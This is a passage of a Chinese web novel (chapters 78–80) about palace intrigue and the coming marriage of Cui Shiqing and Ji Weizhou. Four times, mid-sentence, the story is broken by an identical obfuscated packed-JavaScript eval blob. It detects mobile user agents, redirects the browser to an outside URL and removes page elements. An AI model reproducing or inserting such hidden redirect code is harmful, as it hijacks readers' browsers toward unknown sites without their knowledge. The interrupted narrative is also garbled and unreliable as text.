纪危舟不安地看了眼崔时清,低声道:“你对她还有用。” “什么?是赵晟真?!”崔时清顿时暴怒。 如果是孟云希,她还可以把这当作婆媳之争,不甘心却可以接受,毕竟天底下多得是想弄死对方的婆媳。 但是赵晟真?这面若恶鬼的玩意儿前一刻还在恶心她,转眼就要她的命?!真是欺人太甚了! 纪危舟漫不经心地说道:“昨日嫡皇子回宫时遇上刺客,双手经脉俱断,以后怕是连握笔都难。” “……”他这断人手的速度,也算练出来了? 崔时清一时语噎,没了怒火。 经脉断了便是残破之身,再登不上帝位。 “所以,软软能不能告诉我,昨日在拂仙楼中,他与你都说了什么?” “……”不是很想说。 在纪危舟如常的浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328680|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑下,崔时清生生品出了几分危险,她浑身一激灵,皱眉冥思苦想着,有些兴奋地问道。 “你说皇帝认为王重罗有用,却割了他的舌头?” 纪危舟目光幽幽地睨着崔时清,过了片刻,在对方越来越心虚的表情下,还是先认了输。 “他是弃子,便不能再让他翻供,夺走他的声音是一次警告。” 崔时清破声道:“皇后控制了刑部?” 刑部尚书吴成辉是贤文帝从寒门中提拔出来的,作为他最趁手的刀尖,为这位多疑的皇帝做了不少肮脏事。 正因如此贤文帝格外信赖吴成辉,每次出宫都要钦点他随驾。 纪危舟沉默了片刻,轻轻点了点头,“吴成辉是寒门出生,只能依附权利才可立足。而皇帝沉迷丹药,面上看着身强体壮,内里却已空虚。” 提及了丹药,崔时清直勾勾地盯着纪危舟,甚至还眨了下眼睛,送了个媚眼与他。 “你不觉得皇帝有些奇怪吗?他的丹药有没有问题?” 纪危舟被勾得情不自禁,刚要贴近,崔时清却利索地躲开了,他只得无奈地叹了口气。 “淬仙丹里有寒食散的成分。” 猜想得到证实,崔时清还是免不了倒抽一口凉气,惊声问:“皇帝知道吗?” “知道又不知道吧。” “猜到了几分?但是又沉迷其中,没有揭穿?”崔时清攒眉道。 “兴许是。” 崔时清看着逐渐话少的纪危舟,看出他不是很想谈论这些,但是难得逮住他,并不想轻易放过,便讨好地圈着纪危舟的脖子,给些甜头。 “离虚道长呢?” “……”纪危舟看着面前这双神采奕奕的眼睛,弯起唇角,“离虚道长是游医出身,因早年救过皇帝,便入了潜邸。” 潜邸旧人、一手提拔的臣子,还有枕边人。 一切皆为利来,身为天子更是让人觊觎与垂涎。 真心算得了什么,哪有至高权利来的吸引人呢?所以周围的人都像饿狼扑食,一点点蚕食着这位天下最尊贵的人。 崔时清为贤文帝感到悲凉,也想起了那个梦中,真正孤家寡人的大帝。 他是经历了什么,才会孤身一人走上帝位,独自在偌大的皇宫中像个亡灵一样,过完一生。 好在、这一世你背离了天命,好在还有我们。 崔静犹豫着,忍着心底那一丝介意,靠在纪危舟的胸膛上,闷声道:“王重罗已死,这件事也不宜声张,你可以随着自己的心意安葬他。” “多谢软软。” 纪危舟知道崔时清想要安慰他,即便他的心中已没了波澜,但还是无法拒绝女娘表达关切与爱意的方式。 “但是,不许为他难过!”崔时清心有不甘地说。 纪危舟轻抚着她的脊背,淡声道:“他以告诫之名,行控制之实。我们从来不是同路人,哪怕不是现在,迟早总归是要分道扬镳的。” “你想通便好!”崔时清稍稍安了心,双手扒拉着纪危舟的肩胛,忍不住动起心思,“既然你不难过了,能不能把他——” “嗯?”纪危舟微扬眉梢。 “……算了算了,我很大度的。”崔时清撅着嘴,趴在他的肩上。 纪危舟轻声笑着,胸腔微微震动,颤得崔时清耳根热烫。 “你敢取笑我!” “我是与你在一起,总是忍不住欢喜。” “油嘴滑舌。” “软软,我们就要成婚了。” “……嗯哼,知道了,我们成婚。” 初冬的暖阳洒在美人榻上,目之所及都是彩色,与他们的心一样粲然美好,让人想要永远留下。 78. 包庇 马车刚停在国公府门前,便碰到正要出门的父母舅父和两位兄长。 纪月隐疾步走到崔时清的面前,眼中含泪地看着过了一夜更加骇人的掐痕,双手微颤抱住了女儿,泣声哭道。 “这是要你的命啊!” “阿舅?”崔时清浑身不自在地看着舅父。 纪光连忙上来开解,“这不是好端端的吗?阿姐不要伤心了。” “好,如何算好?她一再陷入险境,分明是某些人不愿意让她活!”纪月隐的眼睛不由扫过纪危舟,愤慨地说着,已是把女儿遭遇的危难都怪罪于他的头上。 崔其沂眉头紧蹙,“三郎,贼人的尸首呢?” 纪危舟上前几步解释,“请姑父姑母放心,我会处理好此事的。” “你、难不成你还要包庇幕后之人?!”纪月隐气得浑身发抖。 崔时清暗叹了口气,开口问:“小乞儿审问过了吗?” 纪光忙说:“小乞儿是北边来的流民,我派人去探查,不日便会有消息。”小乞儿倒是没有什么可疑的,但还是要确认身份,以免留下隐患。 崔时清扫了眼冷静了不少的母亲,又问:“有无找到昨日递信的人?” “按照那小儿的说辞绘了图,已在街巷搜寻,但恐怕不易。”纪光如实说。 崔时清微微颔首,看着身边的‘万人嫌’,说道:“我认得昨日那名贼子,他是江南来的商贾,与我在生意上有些龃龉,家业败落了心存嫉恨才来暗害我的。” 崔长殷皱起眉,不明白妹妹为何撒谎。 在破庙中他匆匆看过一眼,贼人身上纵横交错的旧伤,分明像是刑讯留下的疤痕,如此狠厉的手段怎么看也不像用来对付寻常生意人的。 崔云许也在思忖着,感到身边的人有些沉不住气,单手按住他的肩膀,摇了摇头。 堂妹是个惜命的女娘,如若她宁愿冒着危险也要做,便是已下了决心,不会轻易改变。家人能做的只有暗中支持,没必要再多生事端,惹她烦忧。 “当真?”纪月隐不太相信,什么商贾尸首如此见不得人。 “自然是真的,我与他抢夺的买卖不好宣扬,便托三表兄把尸首扔入乱葬岗,这会儿再找只怕也拼不出一副全乎的手脚。”崔时清摸了摸鼻尖,刻意露出一丝尴尬的神色。 纪危舟垂眸望着替他遮掩的女娘,心底是说不出的滋味。 养父对他也好,但总归是一家之主,大事上费心,其他琐碎事宜便不再沾手,为了家宅安宁,对儿女更是一视同仁。 他幼时因许氏疏忽,遭到同窗姊妹戏弄时,养父亦是不偏不倚,有无闹事都须挨顿手板。 纪危舟从来不知,有人会为他辩解,把错处往自己身上揽。 原来,被人护着便是这样的感觉吗? 他轻抚腰间的绦子,清泠的眸子都化作一池春水。 崔云许走上来,扫视了一眼堂妹的气色,宠溺地揉了揉她的头发,“李家郎君来了好几回,哭哭啼啼要找你,兄长好不容易才把他劝走。若是得空,记得派人送封书信让他宽心。” “唔,好,我记住了。”对于特意来解围的堂兄,崔时清表现得格外乖顺。 “累了吧?回院子休息,迟些再让女医替你敷药。”崔云许与纪危舟相视而笑,示意他领着女娘回去。 崔时清当即扶着纪危舟装起柔弱,与长辈们行过礼正要入内,脚步微顿,又回头看着他们说道。 “城南宅子修整好了,不如派人把我的箱笼送过去?” “时娘还要成婚?”崔其沂惊诧道。 感受到掌下绷紧的手臂,崔时清面露无辜地眨眨眼,“阿爹说笑了,婚期已定,自是要成婚的。” 十年未曾听到这声‘阿爹’,崔其沂鼻尖发酸,连连点头同意,“时娘说得对,没错没错。” 掐了下纪危舟,崔时清也没再扭捏,冲着他们笑吟吟道:“阿舅、阿娘,兄长,你们也入府休息吧。” 正在怒瞪崔其沂的眼睛也泛起了潮气,纪月隐嘴唇嗫嚅着,最终重重叹了口气,把反对之词都咽进了肚子中。 望着相扶低语的一双背影,心中喜忧参半。 “软软受累了。” 纪危舟的声音有些暗哑,惹得崔时清不由去看他,面颊眼睛干干净净、没有半点泪痕,她长舒了一口气,和纪危舟并肩走着。 “你可以感动,但别给我掉眼泪啊。” 纪危舟眨眼笑道:“你不喜欢?” 崔时清的眼睛转了几圈,窃笑道:“也不是。” 她之前便想过把九世死敌迷得神魂颠倒,再狠心抛弃,把他折磨得嗷嗷哭,跪地求饶。 为什么昨儿那么不对劲? 崔时清想了许久,把这都归咎于纪危舟身上。 她要哭天喊地,这厮却像个小哑儿一样,闷不吭声默默掉泪珠子,换谁也吃不消这种哭法呀! 纪危舟躬身在她耳边问道:“软软喜欢什么?” 女娘狡黠的模样让他心底热热的,指尖也安分不了,在披风遮掩下,勾缠上纤软嫩滑的小手。 “说了,你都满足?”崔时清眼睛晶亮地望着他,把垂涎三尺刻在了脑门上。 狭长的眸子线条流畅,说话间眼尾微微上挑,认真注视她时,顿时把眉眼间的清冷与精致诱人的美色杂糅,有一种既纯又欲的反差。 尤其是他以这样的容貌,慢声发出如清泉般的嗓音,简直要把她的魂都勾去了。 崔时清不由在想,以前没尝过他的滋味,还能坐怀不乱,眼下可真是半点也招架不住。 “软软若是也可以满足我,一切自然好说。”纪危舟勾了勾她的小手,抛下了鱼饵。 “……”不行,不能上当。 心怦怦乱跳,崔时清控制不了自己的冲动,几乎要心花怒放地应下,远处跑来了的小婢子让她徒然清醒。 “主子、主子!” 偷瞥了一眼纪危舟失望的面色,崔时清弯唇对玄鱼笑着,感谢她的出现。 “主子!您、您受伤了!”玄鱼扭动着手中的帕子,眼睛立刻蓄满了泪。 崔时清下意识后仰脑袋,吸了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340787|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉气,牙酸道:“我还没死呢,不许哭!” “软软。” “主子!” 纪危舟和玄鱼同时出声,后者看到向来温和的公子沉了脸,连忙捂嘴噤声,连眼泪都吓了回去。 “好嘛,知道了,我好着呢。”崔时清无奈地耸耸肩,扫了一眼跟在玄鱼身后的小儿,蹙眉道,“他是何人?” “他是昨日带回来的闲儿。”玄鱼连忙把洗得干干净净的小儿郎牵到身边,又耐心教导道,“闲儿,快给主子问安。” “……县、主、万福。” 透着怯色的眸子与记忆中那双晶亮的眼睛不同,但瘦削伶仃的身板,却勾起了久远的记忆。崔时清有些怔然,嘴唇发干,半天才开口问。 “你叫咸儿?” 小乞儿还记得昨日这位贵女眼中的杀气,心底怕得紧,握着玄鱼的手恐惧地直瞅她。 玄鱼揉搓着他的脑袋,答话道:“回主子,他是农闲时生下的,故而家人都这么唤他。” “原来如此。”崔时清讷讷地点点头,压下波动的心绪,不再看小乞儿,“你把他带来作什么?” 玄鱼耷拉着脑袋,低声说:“闲儿家中闹了饥荒,整个村子颗粒无收,实在没有吃的了,便一路乞讨入京,家人在路上都饿死了,眼下只剩他一人。” 崔时清名下有粮铺,知道近几年四处都在闹饥荒,京都城外还有不少流民在等入城的机会,以求生机。 “嗯,所以呢?”崔时清淡漠地看着小婢子。 玄鱼咬着唇,眼巴巴地瞅着崔时清,也不知是不是为了小乞儿的身世而伤心,眼眶红红的,颤声请求。 “主子可以留下他吗?” 看着紧紧牵着对方、可怜兮兮睁着水眸的俩人,崔时清没好气地瞪着眼。 这世道,流民乞儿多了去了,难不成她还要个个收留吗?她可不是好人! “不行。”崔时清无情地拒绝,‘啪嗒’一声,她听到了落泪声,顿时毛骨悚然,气恼地一跺脚,指着小乞儿怒道,“只能留在外院,不可来我跟前讨烦!” “啊!主子同意了!闲儿,快给主子磕头!”玄鱼喜极而泣,摇动着他的小手。 小乞儿‘扑通’一声跪在地上,把脑门磕得哐哐响。 崔时清一阵头疼,用力挥了挥手,虚弱地倚在纪危舟身边,小声说:“你管管吧,我都要受不了这小婢子了。” 纪危舟的眼睛扫过小乞儿,微顿了须臾,对着他们二人淡声道:“下去吧。” “是,公子。”玄鱼恭恭敬敬屈膝行礼,裂开嘴笑着,牵起小乞儿蹦蹦跶跶往外走。 觑着他们的背影,崔时清恨声道:“小婢子是越来越不知分寸了,到底是谁教她的!院子里的山鸡、金鲫鱼还不够折腾,居然还想养小儿了!” 纪危舟意味深长地望着她,没有说话。 “……”崔时清瘪了瘪嘴,粗声粗气道,“这么看我做什么?!” 纪危舟揽着崔时清,若无其事地捏了下她的手肘,慢声问道:“看到闲儿之时,软软都在想什么?” 79. 惩罚 南陵城外的咸娃,以及那半个被踩扁的黑馍馍被她藏进心底,不曾与人提过一字。 崔时清抿着唇,眼睛清凌凌地注视纪危舟。 在这个直通后院人来人往的长廊中,在她的骨肉还透着酸痛与倦意时,并不是适合谈论往事,但不知为何,她就是有了倾诉的冲动。 如此,在西北城郊、在轮回空寂的途中,在一次次无力失败里,她也许不会再孤独。 “我记起了西北的朋友,他叫咸娃,也生活在贫苦的小村落里,连用树皮做的黑馍馍都不舍得敞开肚皮吃。” 指腹轻抚过微微笑着,却怎么也抹不去伤感的眼睛,纪危舟问:“软软也吃过树皮做的黑馍馍?” “吃过。”崔时清垂眸看着脚尖,闷声道,“六岁那年,我在城外遭遇敌军,婢子护卫皆丧了命,跟着村中的老幼四处躲避,是咸娃一家护着我。” “他?”纪危舟的声音很轻,唯恐惊扰了什么。 崔时清攥着衣袂,沉默了许久,才说:“他为了引走追兵,死于胡人刀下。” 纪危舟再没有追问,伸手揽着微微发颤的肩头,把崔时清抱了起来,用披风遮得严严实实。 伏在纪危舟的肩上,感受在自他身上传来的温度,崔时清眷恋地蹭了蹭面颊。 “我们刚到南陵城时,州府百废待兴,他们都很忙。” “嗯。”纪危舟低声回应着。 崔时清咽下喉间的哽咽,把永远不得释然的委屈,说与他听。 “第三日我跟着村民徒步至城下,但阿爹阿娘都以为我在对方身边,没有人发现我失踪了三日。” 隔着披风,纪危舟一下又一下地抚摸着崔时清的头发,嗓音微沉。 “我不会弄丢你。” 耳边除了行走间的动静,便是沉稳有力的心跳声,和咬字清晰的承诺。崔时清鼻尖酸涩,愈发委屈地靠在纪危舟的肩头,轻轻吸了吸鼻子。 “万一呢?万一丢了呢?”她细声细气道。 纪危舟颠了颠臂弯上的女娘,侧身指着天边的霞光,“在日落前,我必定会出现。” 顺着他的长臂望去,夕阳余辉璀璨耀眼,把眼睛也照得暖暖的。 崔时清弯着唇,刻意说道:“若是我在夜里走丢,岂不是要等你一天一夜了?” “夜里走丢了?不如把我也带上?我们一起也不怕路黑。”纪危舟商量着。 崔时清轻哂了一声,不想理会他,扭了扭身体,舒舒服服地靠着不动。 “天冷了,我们回去。” “唔、好。” 回到院里,崔时清自己落了地,小跑着到妆奁前,把降龙木手串找了出来,拎着在纪危舟面前摇了摇。 “这是她给我的,说你也有一串。” 纪危舟面不改色地摇了摇头,说道:“原是有的,但之前不小心碾碎了。” “碾碎了?什么时候?”崔时清斜睨着他。 “有几个月了,应该是在庄子里弄坏的。”纪危舟攒眉回忆。 “……”在庄子? 难不成因为和纪危舟有了牵扯,改变了他的天命,所以本该一直陪着大帝的佛珠才坏的? 崔时清胡思乱想了许久,再看着自己手里的手串,便觉得有些晦气。 “这个要怎么处理?”她可不想要。 “物归原主?”纪危舟眉眼淡漠。 想起皇后面对手串时避讳的模样,崔时清顿时觉得这是一个好主意,点头道:“你去办吧。” “好。” 纪危舟正要伸手接过,崔时清忽然躲过,高举降龙木手串,眯眼瞅他。 “你没有再隐瞒什么了吧?” 这几个月间,崔时清只觉得他像个深不见底的口袋,抖一抖便能倒出骇人听闻的秘密,搅得她心里不踏实。 “……”纪危舟沉默地看着她,没有开口。 这厮,还是藏了很多私货啊! 崔时清横眉冷对地瞪着他,“你不说也罢,别让我抓到狐狸尾巴,否则——” “软软想如何?”纪危舟哑声道。 还能如何?崔时清把阴险的招数都想了一遍,就是没有想要用在他身上的冲动,思来想去只得装腔作势地威胁一句,以泄心头之火。 “要是让我抓到你的狐狸尾巴,就不要你了。” “崔时清。” 纪危舟的声音轻飘飘的,没有一丝重量,崔时清下意识看向他,黑眸空洞无神,没有一丝光。崔时清的心顿时被什么攫住了,紧得无法呼吸,也不顾得他直唤其名。 “不是,我胡说的啦!连你的身世我都不介意,还有什么会让我生气了?” 纪危舟一眼不错地看着她,黯然的神色始终未散,如同一尊精致的木偶,被抽走了所有人气。 怎么哄不好了? “我说错了,再不说这话了,好不好?”崔时清试探地勾着他的衣袂,摇了摇,讨好道。 纪危舟问:“再不说?” “对对对,再也不说了,你信我!”崔时清言之凿凿。 纪危舟不知在想什么,沉闷地抿着唇。 “理理我吧!你这样没有表情地瞅着我,很吓人呀。”崔时清仰着脑袋,怯声道。 长睫轻颤着,黑眸也有了一丝反应,纪危舟抿着唇,看了她片刻,嗓音虚弱地开口:“不要害怕,我不会伤害你。” 这副失魂落魄的模样,看得崔时清自责不已,踮起脚尖,在微凉的唇瓣上亲了一口,眨巴着眼睛勾他。 “我向来嘴坏,你若是生气,可以罚我嘛。” 纪危舟托着崔时清的后腰,稳住了趔趄的身板,低头叹声道:“我没有生气。” “什么,你都不想罚我?”她挤眉弄眼了半天,可不是想听到这样自怨自艾地回答。 崔时清不服输地贴上去,又是摸脸、又是吹气,使出浑身解数,如愿被惩罚了一顿。 …… “还是换一种惩罚吧。” 崔时清双颊飞粉地摆了摆手,就着纪危舟的手喝了两盏清茶,便靠在软榻上不愿动弹了。 “换什么?”纪危舟把玩着崔时清的指尖,问。 崔时清受不了他如狼似虎的惩戒,便道:“我现在便把长命缕编好,与你赔罪?” “软软不是累了?”纪危舟轻捏着她的下颌,拇指在肉粉的唇瓣上碾了碾。 才喝过茶水,她却又有些发渴了,干咽着喉咙,娇声央求,“还是编长命缕嘛。” 纪危舟深深望了她一眼,低头再亲了亲她的乌发,“好吧,编长命缕。” 崔时清顿时有一种劫后余生的松快,长长吁了一口气,把佛珠随手塞进纪危舟的掌中。指腹下意识摩挲了一下,纪危舟垂下眼眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347949|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把它收入暗袋中。 “软软该知道,不日我们便要成婚。”对于只管撩拨、不予灭火的女娘,纪危舟好心提醒道。 这句耐人寻味的话,让崔时清头皮发麻,面上禁不住羞得涨红,恼羞地斜了他一眼,没敢继续作妖,老实地挑拣起彩绳。 “在想什么?怎么如此烫?”纪危舟轻抚她的面颊逗弄。 “再闹就咬你。” 崔时清凶巴巴说完,再与越发恶劣的郎君相视,总觉得他似笑非笑的眼睛里藏了许多花招,耳根上的红晕热意直往下走。 “闭嘴,不许说话!” 纪危舟顺从地闭上嘴,但不时还有闷笑从唇边溢出,惹来几记眼刀。 收到长命缕,纪危舟被赶了出来,回到自己院中,也无心他事,坐在太师椅上直盯着自己腕上的手绳。 江南走到堂屋里,等了许久,也不见人搭理,只得假咳着自己开口。 “主子,尸首已经入土。” “嗯。” “新宅子的暗室真要封上?”为了折腾这间暗室,费了不少精力,眼瞅着还没用上就要荒弃,真让人不舍! “休要再提此事。” “哦,是。” 纪危舟冷冷瞥着他,低斥道:“我犯糊涂不知劝着,还敢怂恿?” 您眼睛都红了,一门心思要把人藏起来,谁敢劝啊?!江南心底叫苦,面上恭顺认错,“是,小的知错,再不敢了。” 纪危舟摆弄着长命缕,勾起唇角。 “娘子的箱笼要入新宅,眼下人多眼杂,且等明年,明年开春我和你们娘子出游时再处理。” * 孟云希迈着沉重的步伐走出赵晟真的寝殿,依稀可闻咒骂与玉瓷破碎的声音,但她却不悲不喜,没有驻足片刻。 来到佛堂间,她终于露出了疲惫的神色,连连摇头。 “愚不可及。” 秦嬷嬷搀扶着孟云希坐下,安抚道:“有离虚道长的秘药,不会有人知道此事的。” 孟云希没有接话。 她可以瞒天过海,或是请来天下名义为其医治双手,但却治不了他的无能。 孟云希很久之前便知道‘唯一’的儿子不中用,她不怕赵晟真愚笨,只要听话孝顺,她可以为其谋划一切。 而如今狭隘善妒、无能违逆,连用人的眼光与手段都拙劣不堪,以至于反噬其身。 这样的儿子,如何再寄予厚望? “我错了,当时应该留下后路。” 对于孟云希来说,哪个儿子上位都可,虽说时隔二十年,恢复皇太孙身份登基也不算难事。 她多得是办法,可以让此事顺理成章、尽得民心。 但是东宫覆灭的那一夜留给她的时间太短了,她匆忙间无法周全,只得决然舍弃他们父子二人。 东宫之火起于她,烧掉了夫妻情深、还有母子羁绊。 在暗门遇上纪光时,孟云希知道,此子与她终究没有母子缘分。 但谁又能想到呢? 她居然养出了那般愚蠢无能的儿子。 反倒是、反倒是那个活下来的孩子…… 孟云希越想越后悔,跪在菩萨面前拜了三拜,刚睁开眼睛,便看到了菩萨手中的降龙木手串。 她沉默了许久,惋惜着。 “不回头,亦不该阻我。” 80. 染指 成婚前一日,府里以娘家人的身份办了场出阁宴,邀请世交夫人,为即将出嫁的女娘添福。 在母亲和舅母的陪伴下,崔时清与长辈们一一拜过礼,便以新嫁娘的羞态牵着两位手帕交躲回内室。 脱了鞋袜,她们蛄蛹身子钻进锦衾里,像未及笄时那样,并排趴着把玩贵妃送来的玉如意。 “今夜我便宿在你这儿了。”蔡梦期朝着崔时清热情地挤了挤。 崔时清不想委屈自己和崔琳琅,便绷着身体重心下沉,不让半分地瞥着她问:“为什么不归家?” “难不成有人欺负你了?”崔琳琅也抻着脖子瞅她。 这个人说的是她的继祖母杨氏。 蔡梦期单手支着左颊,神色自然地说:“不是不是,她虽不及我祖母,但也不是恶长辈。” “那怎么想留宿了?”崔时清问。 蔡梦期在她这里也住过几回,但不是闯了祸,便是挨了打,每次过来都像是来长住的,扛着好几口大箱子风风火火而来,最后又因认床败兴而归。 要不是她绝不松口,此女恨不得把架子床都搬过来。 “你成婚以后,我便再不能与你同寝,必须得抓住今夜,与你好好相亲一番!”蔡梦期说着,猛扑向崔时清,把她压在了身下。 “你想来就来,有什么不能的!唔、好沉,我要喘不过气了!”崔时清挣扎无果,脸蛋都闷得涨红。 蔡梦期挪了挪身子,但半个身子还是贴在手帕交的臂上,嘟嘴道:“我可不想纪家阿兄记恨我。” “……胡说什么。”崔时清耳根发烫地叫骂了一声。 崔琳琅亦打趣,“方才在园子里,我便瞧见他杵在廊前远远地瞅着你,若非我们走得早,恐怕还能瞅到席散之时呢。” “我看到他想往这儿走,你两位兄长气得不行,直扯着他!”蔡梦期乐不可支,笑得见牙不见眼。 “不许笑了。”崔时清在她们腰间软肉上掐了一把,恼羞道。 “诶哟,你怎还如此泼辣?”蔡梦期龇着牙控诉。 崔时清双手托着滚烫的面颊,水亮的眸子微转,拉长了声音,“我说你怎么四处乱瞄,怎么样?看清我堂兄的相貌了?” 这下,换蔡梦期红了脸蛋。 她瞪着手帕交,砸巴砸巴嘴,忍不住问道:“你家阿兄都吃了什么?怎变得如此俊俏了?” 崔琳琅扑哧一声,笑了出来,“分明是你之前不开窍,看不出崔氏兄长的好来。” “说得有理。”崔时清深以为然。 之前她也没开窍,看着纪危舟总觉得人嫌狗厌,也是如今才品出了滋味。 “哎呀,不说了不说了!”蔡梦期缩着脖子,把脑袋也藏进衾被里。 崔时清成功翻身,自然不会轻易放过她,也蜷了进去,用肩膀撞了撞手帕交,“怎么样?喜不喜欢?” 蔡梦期扭捏了一会儿,透过昏暗的光线望向她,“你家堂兄二十好几也不娶妻,是不是哪里有问题呀?” 崔琳琅刚钻进来,便听到此话,发出一声惊愕的气音,“不会吧!” 崔时清还没来得及替堂兄辩解,蔡梦期便急不可耐地蛄蛹着,凑近她们小声嘀咕。 “我听姑母说过,有些郎君皮肉生得好,但中看不中用,万万是嫁不得的。” “怎么辨别是否中用?”崔琳琅清澈的眸子里闪动着求知欲。 蔡梦期眨巴着眼睛,摇了摇头,“我也不知呀。但姑母说了,若我遇上喜欢的郎君了,便和她说,她有一箱子秘籍都留给我。” “……”崔时清顿时觉得手中的玉如意有些烫手,尴尬地扔下,很想顺带把耳朵也捂上。 崔琳琅羡慕地瞅着蔡梦期,后知后觉反应过来,闷声笑道:“你是承认了?” “承认什么?”蔡梦期不解。 “承认你喜欢崔氏兄长呀。”崔琳琅乐呵呵地看着她。 蔡梦期的眼睛转了转,思忖了片刻,感慨道:“他生得那样确实勾人啊!” “那你什么时候要试验了,让人传口信,我也去瞧瞧?”崔琳琅叮嘱道。 “不行!”崔时清也顾不上什么,惊声制止。 崔琳琅:“为何?” 蔡梦期:“对呀,为何?” 面对两道齐刷刷瞅着她,天真又无邪的目光,崔时清感到自己的拳头都要硬了,恨不得冲入宫中,质问贵妃蔡妙妍是怎么想的,居然撺掇侄女干坏事!还一箱子秘籍? 崔时清想起昨夜纪月隐送的画册。 她才只有几册呢!一箱子,可恶!一箱子得看到什么时候了?! “不为什么。”崔时清说完,又怕惹起蔡梦期的好奇,连忙补充道,“堂兄没问题,不用试了!更不能让人围观啊!” 蔡梦期惊讶地看着她,“啊?你试过了?” “……”这还说不清了! 崔时清精神恍惚,目光呆滞地瞪着眼。 “到底是要试什么呀?时娘?快说呀。”崔琳琅心痒痒的,好奇极了。 崔时清扫着身边的手帕交,恶向胆边生,从暗盒中取出匣子,眼睛冒着绿光道:“既然如此!你们自己来看吧!” …… “啊!” “呀!” 画册堪堪翻开,抵在一起的三颗脑袋,便阵亡了两颗。 “怎、怎么不穿衣裳?!”蔡梦期捂着眼睛。 崔琳琅也半掩着脸,不敢看道:“他们、哎呀!他们是在行敦伦之礼。” “现在还想不想围观了?”崔时清木然地问。 “哎呀!”崔琳琅记起刚刚自己说的傻话,羞得抬不起头,直往手帕交怀里藏。 “姑母、姑母——”蔡梦期结结巴巴,半天也说不出一句完整的话来。 最尴尬的不再是她,崔时清的表情放松了不少,使坏问了一嘴。 “你们还看吗?” “不要!” “不、不要!” 得到异口同声的答案,她满意地点了点头,忍着鼻尖的热意,淡定地收起活色生香的画册。 “……你、嗐!”蔡梦期欲言又止,搅弄着手中的锦布,把被角都攥着皱巴巴的。 崔时清戏笑道:“可算知道害羞了?” “没有,我,我……” 蔡梦期不承认,但气势太弱,惹得手帕交一阵逗笑,连最善解人意的崔琳琅也跟着笑了起来。 “你们太坏了!啊——” 一时间,三人陷入混战,锦被下闹作了一团。 * 夜色浓沉,哄闹了一日,认床的蔡梦期也睡得香甜。 但崔时清还清醒,把玩着小竹笛,心怦怦乱跳着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360969|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>真的要成婚了?还是和纪危舟成婚? 这也、太不可思议了。 崔时清突然捂住嘴,眼睛滴溜溜地扫了一圈,耳边平稳的呼吸声让她松了口气,随即眉眼微弯地偷笑着。 嘻嘻! 过了片刻,崔时清面露沮丧。 他来园子,怎么也没人跟自己说呢?!她、她都整整三天没有看到纪危舟了。 唉、好想他。 崔时清瘪着嘴叹了口气,缓缓闭上眼睛。 没一会儿再次睁开精神奕奕的眸子,思忖着,轻手轻脚爬起身。 反正也睡不着,不如编条长命缕? 这几日已经编了七条,加上给了他的那一条,还差十二条。 崔时清披上长衣,提着琉璃灯,眼睛晶亮地笑着。 她要把纪危舟缺的都补上,愿他从此长命无忧,不过梦中人的孤苦一生。 走到外间,斜倚在美人榻上,她拨弄着彩绳。 忽然响起极轻的叩声,崔时清转身看着窗棂,门窗再次被轻敲了一下。 有人在窗外? 崔时清呼吸微窒,把剪子藏入衣袂中,用叉竿一点点顶起窗棂,看见窗边扶上几根骨相优越的修长手指。她顿时舒了口气,撑起窗棂,把金剪子拍在矮几上。 “怎又来爬墙了?” 手肘支在窗边,纪危舟委屈地说道:“我想软软,想得睡不着。” 月夜昏沉,四周一片漆黑,但明月却格外关照他,把仅有的些许月华都与了他。 一侧面容隐没在黑夜中使人敬畏,另一侧在清辉下让人仰慕。融合二者,使得端正漂亮的容颜多了以往不曾有的妖异,催人染指。 衣袂覆于那双筋骨分明长指上,崔时清踮着脚尖欺身而上,尝了口微凉的唇,像是偷腥的狸猫一样,微眯着桃花眼,也趴在窗台上偷乐着。 纪危舟拢紧了女娘肩上的长衣,眼神缱绻地低声问:“软软也想我了?” “……唔、阿兄他们好严格。”崔时清垂下脑袋,小声抱怨。 纪危舟浅笑着,勾住了衣袂下的小手,圈在掌心里,与她耳语道:“我把他们都灌醉了,才得以脱身来见软软。” 